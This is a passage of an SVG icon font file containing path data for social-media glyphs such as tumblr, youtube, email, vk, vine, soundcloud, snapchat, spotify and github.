      horiz-adv-x="300" d="M100.5927745952629 143.6463743093248H54.9106541223713C51.6100617384018 143.6463743093248 48.9340799493749 140.9703925202979 48.9340799493749 137.6698001363284V100.7597671089201C48.9340799493749 97.4591747249507 51.6100617384018 94.7831929359237 54.9106541223713 94.7831929359237H97.9941367072983C98.0392539829179 94.7831929359237 98.0831993812488 94.7837788745681 98.1283166568685 94.7843648132125C108.1701331447913 95.0099511913109 120.1402737114721 99.3212877368901 120.1402737114721 118.5787472241157C120.1402737114721 138.2533950261622 107.8806794544521 143.5930538926834 100.5927745952629 143.6463743093248zM97.9244100086133 106.7363412819166H60.8872282953678V131.693225963332H100.5476573196432C102.3400436328977 131.6697884175555 108.1877113041236 130.6543567467905 108.1877113041236 118.5787472241157C108.1877113041236 108.7343920593595 104.878329840488 106.9027478569294 97.9244100086133 106.7363412819166zM249.0139629178963 163.0380137461206C244.2245004384775 167.8520856486048 237.6315188115602 170.2931060412228 229.417830894201 170.2931060412228C215.3148736618626 170.2931060412228 204.3771569866347 162.5405518370153 199.4089832206703 149.0223613717996C198.7351537795972 147.1895452920807 198.9994121082268 145.1422756685072 200.1179689804081 143.5409053533308C201.2353539753007 141.93894909951 203.0652403617975 140.9850409864082 205.0187598022652 140.9850409864082H250.6042003988288C252.3901413869949 140.9850409864082 254.0817462534106 141.7842612973853 255.2178812849243 143.1618030503966C256.3534303777937 144.5399307420522 256.8122203363678 146.3539967851499 256.4700321680316 148.1065392705845C255.6456164953447 152.32705532628 253.6827220365665 158.3434733270964 249.0139629178963 163.0380137461206zM215.4601864456767 152.9376033937566C218.9336307297475 156.5288213453542 223.6012179711289 158.3405436338743 229.4184168328454 158.3405436338743C234.3344420594572 158.3405436338743 238.0768321813129 157.0854630575451 240.5389463651296 154.6092863462624C241.0551583108561 154.0901447073139 241.5139482694302 153.5270576700345 241.9211756272961 152.9376033937566H215.4601864456767zM54.9106541223713 167.6429055525499H97.4480418907068C100.4785165596026 167.6429055525499 105.0593848816111 167.6429055525499 108.8468922790865 171.3278736872533C112.448071187639 174.8317867808336 114.1261994652333 180.6255480967736 114.1261994652333 189.5616983626921C114.1261994652333 207.7802886333762 102.1015666046223 208.8209156658509 100.7304701766996 208.8795095302921C100.6455090732599 208.8830251621585 100.5599620311758 208.8847829780917 100.4744149890918 208.8847829780917L54.9106541223713 208.8830251621585C51.6100617384018 208.8830251621585 48.9340799493749 206.2064574344872 48.9340799493749 202.9064509891621V173.6188937869019C48.9340799493749 170.3188873415769 51.6100617384018 167.6429055525499 54.9106541223713 167.6429055525499zM60.8872282953678 196.9310486934545L100.1621096916205 196.9328065093877C100.8558610466036 196.7037044994229 102.1730511192405 194.6933490104473 102.1730511192405 189.5622843013365C102.1730511192405 181.7376596438665 100.6818372692134 180.0612891822054 100.5119150623341 179.8960544844814C100.2037113353737 179.5960538985428 98.4781220275821 179.5960538985428 97.446870013418 179.5960538985428H60.8866423567233V196.9310486934545zM281.9958632731705 183.5405928527204C269.5434952021391 197.7197221088322 251.625491456038 204.9097752144047 228.7393139439725 204.9097752144047C188.9740019023475 204.9097752144047 170.0059961054611 183.6577805816027 161.0956271398968 165.8288395094522C159.0290215410577 161.6938704958408 157.4141746370598 157.5770655802062 156.1526487356421 153.6506907240053C155.0446387590601 155.2098734567841 153.8493239244608 156.6688606813685 152.5678761091331 158.0223789499589C151.4756864759502 159.1772640180938 150.3249029783262 160.2530473692332 149.1172834321942 161.2479711874438C155.0030371153069 167.5263037623121 160.1112502172856 177.2874556395618 160.1112502172856 192.2511567405405C160.1112502172856 210.0068554821396 153.930769396034 224.7484858368864 142.2383637468042 234.8822946919819C131.666272785689 244.0446172746431 117.2562837036791 248.8874001707035 100.5669932949088 248.8874001707035H10.6218957458901C4.7648530563536 248.8879861093479 0 244.1225471143499 0 238.2655044248134V65.3983699186912C0 59.5413272291548 4.7648530563536 54.7764741728011 10.6218957458901 54.7764741728011H100.4492196273821C100.6021496135735 54.7735444795791 100.8453141510042 54.7700288477126 101.1716819759414 54.7700288477126C105.4806747669429 54.7700288477126 120.6834388348415 55.3553815534796 135.3981160119454 62.8841071955219C143.9967656186829 67.2815767218295 154.0977619096912 74.9749511229514 160.3051959085858 88.1779065974738C163.1598889841582 82.5816066047004 166.6843099302928 77.527885796652 170.8579508944353 73.056002062504C184.3685241572737 58.5792159750312 203.7560620235586 51.2127953374909 228.4803290631427 51.1612327367827C228.9162674145848 51.1418967615171 229.8238863747781 51.1114279520077 231.1047482514614 51.1114279520077C237.3338619801992 51.1114279520077 253.4178777692925 51.8672888032985 268.1753284674384 58.8715993585925C288.298805271104 68.4182976919877 298.5023408248844 84.4454774325731 298.5023408248844 106.5066533333073C298.5023408248844 108.6019699257226 297.8929646346965 110.5578331207678 296.8406188293336 112.2054925888527C298.2193324596337 113.7517846714545 299.1574202293363 115.7070619278554 299.4421864105203 117.8844099304882C299.6554680770861 119.5121474846631 304.3810632442642 158.0428868025133 281.9958632731705 183.5405928527204zM287.7193119517812 120.5879308358024H204.2248129390878C202.5191455452061 120.5879308358024 200.8949236228977 119.859609100799 199.7605464073172 118.5851925492042S198.0906212707446 115.6133117447495 198.2886685325557 113.9193631237561C199.421287932203 104.2056722767036 203.9207107826383 96.7513608425016 211.3017798862888 92.3615085185713C218.2111683811882 88.2523208053141 225.7609878144293 87.8087652514946 228.6865794659755 87.8087652514946C229.2824790673419 87.8087652514946 229.6697845112979 87.8281012267602 229.7945894425575 87.8351324904932C240.4920712735768 87.8415778155817 248.7456030187559 90.5128720954533 253.6657298158786 95.55838976248C257.4866357160854 99.4759755390147 258.4909345526066 103.1392639438749 258.7317553354597 105.1765726104934H286.536887767359C286.1489963847586 88.6015402373833 278.4567938609256 76.9788612868385 263.0542247152827 69.6716204523837C250.4899423631687 63.7096947454976 236.5258525895559 63.0657481752894 231.1059201287503 63.0657481752894C229.8836521165081 63.0657481752894 229.1166584309736 63.0979748007321 228.9104080281407 63.1079357576871C228.8160719063905 63.1126232668424 228.7223217232847 63.11496702142 228.6285715401789 63.11496702142C207.2816548469822 63.1360608126188 190.7857241908676 69.2245492666978 179.5983976531205 81.2116820540665C172.7452592680846 88.5558370231192 167.9886093527527 97.9214803153913 165.4614559794063 109.0502129886973C164.8409469549745 111.7830308262321 162.4116453352448 113.7037377026127 159.636053976668 113.7037377026127C159.5341006525404 113.7037377026127 159.4298035738352 113.7008080093907 159.3266783724187 113.6961205002354C156.424524266649 113.5472920845549 154.0497149408495 111.3324440086798 153.6999095701359 108.4466961849535C151.7463901296683 92.3333834636396 143.757702651763 80.5847277045464 129.9565038212965 73.5253389166776C117.620737540503 67.2136078390779 104.8074312645142 66.7225912550611 101.174025730519 66.7225912550611C100.9302752544439 66.7225912550611 100.7626968021422 66.7249350096388 100.678321637347 66.7272787642164C100.6255871593499 66.7284506415052 100.5728526813529 66.7290365801496 100.5207041420003 66.7290365801496H11.9531483459929V236.9354237019994H100.5669932949088C114.3394811317991 236.9354237019994 126.0424336766283 233.1027990289044 134.4096375188233 225.8506364270243C143.4037957105385 218.0553087017748 148.1581018712927 206.4379031990297 148.1581018712927 192.2523286178293C148.1581018712927 180.0255469248963 144.0090703302155 171.0407637514917 135.8264371610101 165.5499327147123C134.0481133752215 164.3569616346907 133.0449864159891 162.3038326246731 133.1949867089584 160.1680862657935C133.3449870019277 158.0329258455583 134.6264348172555 156.139758085465 136.5535870187247 155.2075297022065C139.2764438993045 153.8897536909252 141.7426596536321 152.0739298318942 143.8842653989559 149.8086910325997C147.7473588815603 145.7252846196965 150.596778509333 140.1471487248999 152.3510788107008 133.2277992730454C153.0600645704386 130.4322860005586 155.666905599425 128.5449776269094 158.5403487116186 128.7336498704099C161.417893394323 128.924665868488 163.7475854445028 131.143615514874 164.0809845331729 134.0070976701126C164.8450485254854 140.5778136285422 166.8009117205307 150.5053720808048 171.7878355231163 160.4856650110645C179.1911702952545 175.2987798804294 195.0812403930477 192.9560409297674 228.7387280053282 192.9560409297674C248.0348594430849 192.9560409297674 262.9311775999563 187.1341545588956 273.0134238543435 175.6532727602983C290.1415823077779 156.1450315332647 288.3322037738355 126.8498571286272 287.7193119517812 120.5879308358024zM247.0399356248743 108.635368428454C246.9004822275044 107.9293123619382 246.8319274061082 107.2050921974457 246.8395446084856 106.4709110759982C246.7569272596235 106.1832152015922 246.4041921956879 105.2345805362901 245.1063380983166 103.9033279361873C242.5569190564825 101.2876978275348 236.9600331250647 99.7876948978416 229.751229982871 99.7876948978416C229.5443936413938 99.7876948978416 229.2994712880298 99.7800776954642 229.1225178174176 99.768358922576C229.0574786278879 99.7654292293539 228.9068923962742 99.7613276588431 228.6854075886867 99.7613276588431C227.609038298903 99.7613276588431 222.009222674263 99.9001951175686 217.4107761929223 102.6347707710366C215.0031543030357 104.0668048179781 213.1949476463821 106.051964945244 211.9609608612517 108.6353684284539H247.0399356248743zM262.8673102877154 248.7069310682248H191.5409991035139C185.6839564139774 248.7069310682248 180.9185174189793 244.2268441930551 180.9185174189793 238.7201928128766V220.3510163105787C180.9185174189793 214.8443649304003 185.6833704753329 210.3636921165862 191.5409991035139 210.3636921165862H262.8673102877154C268.7249389158963 210.3636921165862 273.4892060336055 214.8437789917559 273.4892060336055 220.3504303719344V238.7201928128766C273.4892060336055 244.2268441930551 268.7249389158963 248.7069310682248 262.8673102877154 248.7069310682248zM261.5366436262571 222.316840462579H192.8710798263278V236.7537827222319H261.5366436262571V222.316840462579zM23.9062966919857 115.3367487045873C20.6057043080162 115.3367487045873 17.9297225189893 112.6607669155604 17.9297225189893 109.3601745315909V79.4773036666087C17.9297225189893 76.1767112826393 20.6057043080162 73.5007294936123 23.9062966919857 73.5007294936123S29.8828708649822 76.1767112826393 29.8828708649822 79.4773036666087V109.3601745315909C29.8828708649822 112.6607669155604 27.2068890759552 115.3367487045873 23.9062966919857 115.3367487045873zM23.9062966919857 136.8518297887301C20.6057043080162 136.8518297887301 17.9297225189893 134.1764339383476 17.9297225189893 130.8752556157336V127.8869685292354C17.9297225189893 124.5863761452659 20.6057043080162 121.910394356239 23.9062966919857 121.910394356239S29.8828708649822 124.5863761452659 29.8828708649822 127.8869685292354V130.8752556157336C29.8828708649822 134.1764339383476 27.2068890759552 136.8518297887301 23.9062966919857 136.8518297887301z" />
    <glyph glyph-name="047-tumblr"
      unicode="&#xF12F;"
      horiz-adv-x="300" d="M106.0546875 300V273.6328125V273.59619140625V273.593902734375C106.03408828125 249.533844140625 86.4715576171875 229.6875 62.109375 229.6875H53.3203125V159.375H88.4765625V96.6796875C88.4765625 43.3708189453125 131.8473814453125 0 185.15625 0H246.6796875V87.890625H185.15625C180.3108216796875 87.890625 176.3671875 91.8342591796875 176.3671875 96.6796875V159.375H246.6796875V229.6875H176.3671875V300zM229.1015625 212.109375V176.953125H158.7890625V96.6796875C158.7890625 82.14111328125 170.61767578125 70.3125 185.15625 70.3125H229.1015625V17.578125H185.15625C141.54052734375 17.578125 106.0546875 53.06396484375 106.0546875 96.6796875V176.953125H70.8984375V212.734222265625C83.168792578125 214.4966126953125 94.28329453125 219.895934765625 103.108978125 227.799225L103.127288671875 227.7763365234375C115.631103515625 238.96865859375 123.6328125 255.413818359375 123.6328125 273.6328125V282.421875H158.7890625V212.109375zM229.1015625 212.109375" />
    <glyph glyph-name="048-youtube"
      unicode="&#xF130;"
      horiz-adv-x="300" d="M124.2375 201.8C118.025 205.5125 110.0625 201.025 110.0625 193.75V106.25C110.0625 98.9375 118.0375 94.5125000000001 124.2375 98.1875L197.6 141.875C203.7 145.5125000000001 203.6875 154.3375 197.6125 157.9875000000001zM128.8125 122.7375V177.2375L174.5 149.95zM248.8 259.1125C190.6375 267.75 109.3875 267.75 51.2 259.1125C27.925 255.6625 9.5875 237.3875 5.5875 213.6625C-1.8625 169.625 -1.8625 130.3625 5.5875 86.3375C9.5875 62.6 27.925 44.3375 51.2 40.8875C80.35 36.5625 115.25 34.4 150.1375 34.4C184.9625 34.4 219.775 36.55 248.8125 40.875C272.0625 44.325 290.3875 62.5875 294.4125 86.325C301.8625 130.3625 301.8625 169.6375 294.4125 213.675C290.4125 237.3875 272.075 255.6625 248.8 259.1125zM275.925 89.45C273.2625 73.75 261.2625 61.675 246.05 59.425C189.575 51.0375 110.575 51.0375 53.95 59.4375C38.725 61.7000000000001 26.7125 73.7625 24.0625 89.4625C16.8875 131.8875 16.8875 168.1 24.0625 210.55C26.725 226.25 38.725 238.3 53.9625 240.575C82.2375 244.7625 116.125 246.8625 149.9875 246.8625C183.875 246.8625 217.7625 244.7625 246.0375 240.575C261.2625 238.3125 273.275 226.25 275.925 210.55C283.1 168.1 283.1 131.8875 275.925 89.45z" />
    <glyph glyph-name="049-email"
      unicode="&#xF131;"
      horiz-adv-x="300" d="M273.6328125 264.2578125H26.3671875C11.846484375 264.2578125 0 252.42421875 0 237.890625V62.109375C0 47.625 11.79375 35.7421875 26.3671875 35.7421875H273.6328125C288.1171875 35.7421875 300 47.5359375 300 62.109375V237.890625C300 252.375 288.20625 264.2578125 273.6328125 264.2578125zM269.991796875 246.6796875L150.558984375 127.2462890625L30.0931640625 246.6796875H269.991796875zM17.578125 65.74921875V234.3345703125L102.2337890625 150.4048828125L17.578125 65.74921875zM30.0076171875 53.3203125L114.7166015625 138.029296875L144.3984375 108.60234375C147.834375 105.195703125 153.3791015625 105.2068359375 156.8009765625 108.629296875L185.7421875 137.5705078125L269.9923828125 53.3203125H30.0076171875zM282.421875 65.7498046875L198.1716796875 150L282.421875 234.25078125V65.7498046875z" />
    <glyph glyph-name="050-vk"
      unicode="&#xF132;"
      horiz-adv-x="300" d="M298.500008789011 61.4428040460701L288.1740927299254 85.7098493563515C279.169457991457 107.2247623549081 267.2796839081021 125.83227051404 252.7543783923141 141.1632353716678C271.8405946840155 156.4379505588835 290.9936074593313 183.0499040044688 290.9936074593313 228.3138965982622V245.8831295910376C290.9936074593313 256.2008425731881 282.5995160184608 264.5949340140586 272.2818030363103 264.5949340140586H237.1433370507594C226.825624068609 264.5949340140586 218.4315326277385 256.2008425731881 218.4315326277385 245.8831295910376V228.3138965982622C218.4315326277385 215.2534262494556 216.0086952615512 206.7661712919651 210.5753286601836 200.7955031513487C206.7761321711005 196.619551057318 201.1441339210903 193.311953250274 193.7666380861049 190.9125532467583V255.7367827922883C193.7666380861049 260.6287463159396 189.800450387986 264.5949340140586 184.9084868643347 264.5949340140586H119.1139505041963C105.9415667486323 264.5949340140586 95.2254186010629 253.8787858664891 95.2254186010629 240.7064021109252C95.2254186010629 229.5959203364043 102.7740071835516 220.0393357070174 113.5827329136743 217.4664992197311L116.4614269838263 216.7815422956506C119.2539887461597 216.1170930639079 121.2039773204454 213.6479669064439 121.2039773204454 210.7774759132271V119.7655091864697C113.3284375286863 125.1602041394289 105.9737931223059 132.3103575564987 99.5121122337174 140.9106977888802C82.1327218785827 164.0433747458512 72.561488897526 195.0838178682547 72.561488897526 228.3150684663958V245.8831295910376C72.561488897526 256.2008425731881 64.1673974566555 264.5949340140586 53.849684474505 264.5949340140586H18.7112184889541C8.3935055068037 264.5949340140586 0 256.2008425731881 0 245.8831295910376V228.3138965982622C0 178.4819620197538 15.3016681542882 131.2632933791404 43.0884194037926 95.3572537660912C73.0067987882883 56.6961521709834 113.6337091774853 35.4044800518747 157.4856006703086 35.4044800518747H175.054833663084C185.3725466452345 35.4044800518747 193.7666380861049 43.7985714927452 193.7666380861049 54.1162844748957V97.2181803622245C205.1202824983447 87.4418704577903 214.3381972371255 74.1862840647419 221.2416724120757 57.6834510735289L225.7551225285789 46.8946471016772C228.6748319834063 39.915000498044 235.4505735317957 35.4050659859415 243.0167401362882 35.4050659859415H281.2805784341107C287.5799555861977 35.4050659859415 293.4146870233182 38.5415710454822 296.8904479075317 43.7962277564781C300.3650369236118 49.050298533407 300.9667912102077 55.6473301914247 298.500008789011 61.4428040460701zM282.110261072689 53.5678501883778C281.8155362370923 53.1213684294819 281.4270619508089 53.1213684294819 281.2805784341107 53.1213684294819H243.0167401362882C242.6147893664686 53.1213684294819 242.2544399153911 53.3610154628001 242.0991673876911 53.7319117270798L237.5857172711879 64.5207156989315C227.7619467073435 88.0043671619112 213.6438653679764 106.0025038915788 195.6263928141046 118.0153241289602C193.5832407231989 119.377620834253 191.4838389618811 120.6537852317272 189.2080710464587 121.9176450137988C187.8692117038377 122.6611953445586 186.387970382986 123.0320916088383 184.907900930268 123.0320916088383C183.3534178510673 123.0320916088383 181.8001066400002 122.6231096302171 180.4149585061025 121.8086612773753C177.710286853788 120.2166784178999 176.0497497084978 117.3122032488091 176.0497497084978 114.1739403870681V54.1168704089625C176.0497497084978 53.5684361224447 175.6032679496019 53.1219543635487 175.054833663084 53.1219543635487H157.4856006703086C119.2381685263563 53.1219543635487 83.5875961664287 71.9720392263327 57.0998607430035 106.1999636720879C31.7037204860128 139.018716687207 17.717474311674 182.3866266408596 17.717474311674 228.314482532329V245.8831295910376C17.717474311674 246.4315638775554 18.1639560705699 246.8780456364514 18.7123903570878 246.8780456364514H53.8502704085719C54.3987046950897 246.8780456364514 54.8451864539857 246.4315638775554 54.8451864539857 245.8831295910376V228.3138965982622C54.8451864539857 191.269387093435 65.6779354808468 156.4496692402193 85.3465702349401 130.2683773337266C96.9504084937003 114.8243272012078 111.2126296134984 103.1999812501099 126.5916410646032 96.6539258559032C129.3273672224577 95.4890889311195 132.465044150132 95.7756106897811 134.9464749229985 97.4150542086667C137.4273197617983 99.0556695956859 138.919693829919 101.8312392700824 138.919693829919 104.8048546590547V210.7768899791603C138.919693829919 221.8879576877479 131.3711052474302 231.4451282512017 120.5623795173076 234.0173788044211L117.6842713812224 234.7017497944348C114.891709618889 235.3667849602444 112.9411351105365 237.8364970517751 112.9411351105365 240.7064021109252C112.9411351105365 244.1095071708564 115.7096735761314 246.8786315705182 119.1133645701295 246.8786315705182H176.049163774431V179.6163303730642C176.049163774431 176.9890020175663 177.215758501415 174.4970244314975 179.2331294933819 172.8142217916692C181.2505004853488 171.1314191518409 183.9112270826538 170.4282982716898 186.4951963172091 170.9011470635914C203.0636539239028 173.9187075075732 215.5751040521247 179.9655470768726 223.6791581299329 188.8729167602534C232.3017638568525 198.3498143565565 236.147835071279 210.5132196491036 236.147835071279 228.3144825323289V245.8837155251044C236.147835071279 246.4321498116222 236.5943168301749 246.8786315705182 237.1427511166927 246.8786315705182H272.2812171022436C272.8296513887614 246.8786315705182 273.2761331476574 246.4321498116222 273.2761331476574 245.8837155251044V228.3144825323289C273.2761331476574 183.9487268629286 252.0735230067012 161.0744468294131 234.2857366070122 149.6967791204349C231.9712970431815 148.2167096677168 230.4748214365932 145.7464116421193 230.2345884692083 143.0095136161312C229.9943555018233 140.2720296560762 231.0379040747809 137.5790766850975 233.0587906711485 135.7181500889643C249.2358443212248 120.823706111097 262.2828381864951 101.6906150940522 271.8382509477484 78.8509051704775C271.84528215655 78.8344990166073 271.8523133653515 78.8180928627371 271.859344574153 78.8011007748002L282.1969793145744 54.5059306293127C282.2532289849864 54.3711657939505 282.4055718423525 54.013746013207 282.110261072689 53.5678501883778z" />
    <glyph glyph-name="051-vine"
      unicode="&#xF133;"
      horiz-adv-x="300" d="M84.6125 249.6625C84.0625 254.3875 80.05 257.95 75.3 257.95H27.925C22.2625 257.95 17.9 252.9625 18.625 247.375C33.2875 133.275 80.1875 29.3 127.7125 5.525C139.8125 -0.525 152.475 -1.4625 164.0125 5.0625C179.85 14.125 220.525 55.6125 244.8 104.3125C254.5625 104.7375 264.8 106.1125 274.175 108.25C278.4375 109.225 281.4625 113.0125 281.4625 117.3875000000001V150.9625C281.4625 156.75 276.25 161.1875000000001 270.475 160.2000000000001C242.95 155.375 221.8125 161.6750000000001 209.4125 178.3625000000001C196.7375 195.4375000000001 195.8875 219.9125000000001 202.375 232.8000000000001C210.9125 249.8250000000001 225.7625 231.8000000000001 213.0125 189.9C212.275 187.4500000000001 212.5625 184.8125 213.8125 182.5750000000001C214.3875 181.5500000000001 228.35 157.5375000000001 264.2 164.8000000000001C267.175 165.4 269.675 167.4 270.9125 170.1750000000001C335.3 315.0125000000001 136.05 350.2000000000001 136.05 216.9250000000001C136.05 175.4375000000001 154.1875 139.0875000000001 183.9625 119.7125C173.925 100.8875 162.0125 83.625 148.9625 69.0375000000001C122.7125 103.2750000000001 95.9 152.875 84.6125 249.6625zM204.75 119.2C207.025 123.8 205.1875 129.3625 200.625 131.7C172.35 146.2 154.7875 178.8625 154.7875 216.9375C154.7875 318.3 301.95 296.0375 255.7375 182.45C242.7125 181.1125 235.5375 185.925 232.2875 189.175C237.425 208.6875 239.325 234.1125 229.125 247.875C219.0875 261.45 196.5375 262.925 185.6375 241.2375C165.525 201.25 191.55 134.25 262.725 140.3V125.075C254.8125 123.7125 246.55 122.9625 238.8375 122.925C235.2125 122.9125 231.925 120.8125 230.3875 117.525C208.075 69.875 167.2375 28.5 154.775 21.3625C149.4875 18.3625 143.3875 18.6750000000001 136.1375 22.3000000000001C100.6125 40.0625000000001 55.325 125.3750000000001 38.675 239.2000000000001H67C80.45 135.0375 111.9 84.5000000000001 141.0875 48.7875000000001C144.4625 44.6625 150.9125 43.9875 155.0125 48.125C174.125 67.4500000000001 191.3249999999999 92.0375000000001 204.75 119.2z" />
    <glyph glyph-name="052-soundcloud"
      unicode="&#xF134;"
      horiz-adv-x="300" d="M114.2578125 237.8935546875C109.40390625 237.8935546875 105.46875 233.9583984375 105.46875 229.1044921875V62.109375C105.46875 57.25546875 109.40390625 53.3203125 114.2578125 53.3203125S123.046875 57.25546875 123.046875 62.109375V229.1044921875C123.046875 233.958984375 119.11171875 237.8935546875 114.2578125 237.8935546875zM79.1015625 210.64453125C74.24765625 210.64453125 70.3125 206.709375 70.3125 201.85546875V62.109375C70.3125 57.25546875 74.24765625 53.3203125 79.1015625 53.3203125S87.890625 57.25546875 87.890625 62.109375V201.85546875C87.890625 206.709375 83.95546875 210.64453125 79.1015625 210.64453125zM43.9453125 167.5763671875C39.09140625 167.5763671875 35.15625 163.6412109375 35.15625 158.7873046875V62.109375C35.15625 57.25546875 39.09140625 53.3203125 43.9453125 53.3203125S52.734375 57.25546875 52.734375 62.109375V158.7873046875C52.734375 163.6412109375 48.79921875 167.5763671875 43.9453125 167.5763671875zM8.7890625 133.88671875C3.93515625 133.88671875 0 129.9515625 0 125.09765625V62.109375C0 57.25546875 3.93515625 53.3203125 8.7890625 53.3203125S17.578125 57.25546875 17.578125 62.109375V125.09765625C17.578125 129.9515625 13.64296875 133.88671875 8.7890625 133.88671875zM243.104296875 176.150390625C231.5525390625 217.4126953125 193.2275390625 246.6796875 149.4140625 246.6796875C144.56015625 246.6796875 140.625 242.74453125 140.625 237.890625V62.109375C140.625 57.25546875 144.56015625 53.3203125 149.4140625 53.3203125H237.890625C272.1375 53.3203125 300 80.9197265625 300 114.84375C300 147.4083984375 274.4466796875 173.3818359375 243.104296875 176.150390625zM237.890625 70.8984375H158.203125V228.6205078125C189.075 225.223828125 215.333203125 204.16171875 225.050390625 175.08515625C213.66328125 172.7279296875 202.341796875 167.2060546875 191.8060546875 158.80546875C188.0109375 155.7791015625 187.3875 150.249609375 190.41328125 146.45390625C193.4390625 142.658203125 198.969140625 142.034765625 202.76484375 145.0611328125C213.5865234375 153.6890625 225.15 158.4333984375 236.2294921875 158.787890625C236.328515625 158.7890625 236.4275390625 158.7919921875 236.5265625 158.7966796875C261.556640625 159.4587890625 282.421875 139.45546875 282.421875 114.84375C282.421875 90.6123046875 262.444921875 70.8984375 237.890625 70.8984375z" />
    <glyph glyph-name="053-snapchat"
      unicode="&#xF135;"
      horiz-adv-x="300" d="M39.8375 52.3875C43.25 37.3875 46.9125 31.175 66.5875 34.4C72.3125 35.35 79.4625 36.5375 88.2625 35.0875C102.8625 32.6625 141.4625 -16.5125 196.35 26.8625C207.0625 34.3625 212.9125 38.5125 233.7 34.4375C242.775 32.675 254.4125 34.5375 260.1 52.3875C314.3374999999999 62.15 302.6875 92.0625 286.4375 94.675C258.1875 99.2875 239.45 128.45 237.45 137.75C239.4375 138.975 243.7875 140.4875000000001 246.5625 141.4375C292.375 157.2875 266.875 195.8625 235.725 183.9625C237.7625 216.4625 238.35 242.5000000000001 211.7625 267.4625000000001C183.5 293.9125 139.8375 295.125 111.325 282.6125C61.625 260.8875000000001 62.0125 218.8 64.225 183.4625C44.4125 191.0375 30.975 180.125 28.8125 168.9375C25.5375 151.3 42.3875 145.375 52.4375 141.8375C55.95 140.6 61.8125 138.5375 62.7 137.875C61.6125 136.6125 55.3125 108.6 18 96.225C10.875 93.8625 4.1375 91.625 1.2125 85.1C-0.525 81.2 -0.3875 76.8250000000001 1.6625 72.1125C6.7 60.4125 23.075 55.3875 39.8375 52.3875zM78.775 127.6C87.025 144.225 76.2 153.2875 58.675 159.4625C54.975 160.7625 48.1 163.1875 47.2 165.4125C47.5125 166.2 49.975 167.775 52.3125 167.775C53.0375 167.725 55.1125 166.925 56.4875 166.4125C115.7625 143.9625 45.825 233.5875 118.8375 265.4875C141.2 275.2875 176.875 274.5125 198.95 253.825C234.3375 220.625 206.5 172.15 221.85 165.1625C232.775 160.2 243.225 167.8375 247 167.95C249.9375 167.95 252.5 166.2 252.775 165.575C252.825 163.3625 245.0875 160.6875 240.4625 159.0875C219.0875 151.7 212.4125 142.85 224.5 120.8125C233.6125 104.1875 252.8875 83.5 278.4125 77.225C260.5 66.875 246.9 75.9875 242.925 60.3375C240.875 52.025 239.5625 52.3125 237.3 52.75C173.975 65.15 178.3 -0.6250000000001 113.9375 42.3625C91.975 57.025 87.6875 55.4625 59.125 52.1625C57.925 56.875 57.15 61.975 55.4875 65.05C50.975 73.4 34.275 69.175 21.1875 77.5625C47.45 86.55 65.2125 97.125 78.775 127.6z" />
    <glyph glyph-name="054-spotify"
      unicode="&#xF136;"
      horiz-adv-x="300" d="M220.9 91.025C180.5 117.6375 129.7125 124.1 69.95 110.175C57.95 107.3875 62 89.175 74.2 91.9125C170.35 114.2625 206.0375 73.8125 215.7375 73.8125C225.0125 73.825 228.65 85.9125 220.9 91.025zM65.7125 138.8C119.475 151.525 180.5125 144.125 225.0125 119.525C235.8375 113.5375 244.9125 129.95 234.0875 135.925C185.65 162.7 119.5 170.775 61.4 157.0375C49.35 154.2 53.6125 135.9625 65.7125 138.8zM58.6125 187.575C115.2375 204.9 194.675 195.4 239.475 165.95C249.7625 159.1875 260.15 174.8 249.775 181.6125C200.025 214.325 115.5 224.5875 53.125 205.5125C41.225 201.875 46.825 183.9375 58.6125 187.575zM150 0C232.7125 0 300 67.2875 300 150S232.7125 300 150 300S0 232.7125 0 150S67.2875 0 150 0zM150 281.25C222.375 281.25 281.25 222.375 281.25 150S222.375 18.75 150 18.75S18.75 77.625 18.75 150S77.625 281.25 150 281.25z" />
    <glyph glyph-name="055-github"
      unicode="&#xF137;"
      horiz-adv-x="300" d="M150 300C67.5590513671875 300 0 231.8550111328125 0 149.4140625C0 67.45147734375 66.943359375 0 150 0C232.9536439453125 0 300 67.35076875 300 149.4140625C300 231.8550111328125 232.4409486328125 300 150 300zM176.3671875 20.21484375C167.930602734375 18.45703125 158.9653013671875 17.578125 150 17.578125S132.069397265625 18.45703125 123.6328125 20.21484375V61.3471986328125C123.6328125 71.19140625 126.26953125 74.70703125 129.78515625 79.454040234375C131.5750125 81.500244140625 132.655334765625 83.335876171875 140.6822203125 95.448303515625L127.1484375 97.55859375C92.3423765625 102.6557923828125 78.6323548828125 120.762633984375 73.182678515625 134.825133984375C66.151428515625 153.6323548828125 69.8432923828125 177.1888734375 82.5004576171875 192.127991015625C84.434508984375 194.4145201171875 86.0160826171875 198.2826234375 84.6107484375 202.3246763671875C81.971741015625 210.411071484375 82.32421875 223.2421875 84.08203125 228.1654359375C93.402099609375 226.833343359375 102.9853822265625 220.1568603515625 110.9779359375 215.33203125C114.66064453125 213.1828306640625 116.5924072265625 213.7504576171875 118.359375 213.57421875C124.781799609375 214.910888671875 134.799957421875 218.1449888671875 150.1762388671875 218.1449888671875C159.66796875 218.1449888671875 169.6884152343751 216.7396546875 179.5326234375 213.926696484375C181.292724609375 213.9678955078125 184.1217041015625 212.47100859375 189.024352734375 215.33203125C197.3785400390625 220.42236328125 206.63681015625 226.869964453125 215.91796875 228.1654359375C217.67578125 223.2421875 218.028258984375 210.411071484375 215.391540234375 202.3246763671875C213.9839173828125 198.2826234375 215.565491015625 194.4145201171875 217.5018310546875 192.127991015625C230.1567076171875 177.186584765625 233.848571484375 153.6323548828125 226.817321484375 134.825133984375C221.3676451171875 120.762633984375 207.6576234375 102.6557923828125 172.8515625 97.55859375L159.3177796875 95.448303515625C167.61474609375 82.928466796875 168.489075 81.427001953125 170.217132421875 79.454040234375C173.73046875 74.70703125 176.3671875 71.19140625 176.3671875 61.3471986328125zM193.9453125 25.3120423828125V61.3471986328125C193.9453125 71.3676451171875 191.835022265625 78.0464173828125 189.0220640625 82.969665234375C215.7417298828125 90.174866015625 234.7274777343751 105.9974671875 243.1640625 128.672790234375C252.1293638671875 152.577209765625 248.0873109375 181.0546875 233.143616015625 200.743102734375C235.7826234375 212.5190736328125 235.7826234375 231.3285826171875 229.454040234375 240.1176451171875C226.6410826171875 243.983459765625 222.7729798828125 246.09375 217.8520201171875 246.09375C217.67578125 246.09375 217.67578125 246.09375 217.67578125 246.09375C204.0458677734375 245.35675078125 193.3181765625001 238.492584375 181.8168638671875 231.504821484375C171.2699888671875 234.3177796875 160.546875 235.7231138671875 149.8237611328125 235.7231138671875C138.926696484375 235.7231138671875 128.02734375 234.141540234375 118.361663671875 231.504821484375C106.25381484375 238.80615234375 95.6291197265625 245.375061328125 81.6215513671875 246.09375C77.2270201171875 246.09375 73.3589173828125 243.983459765625 70.545959765625 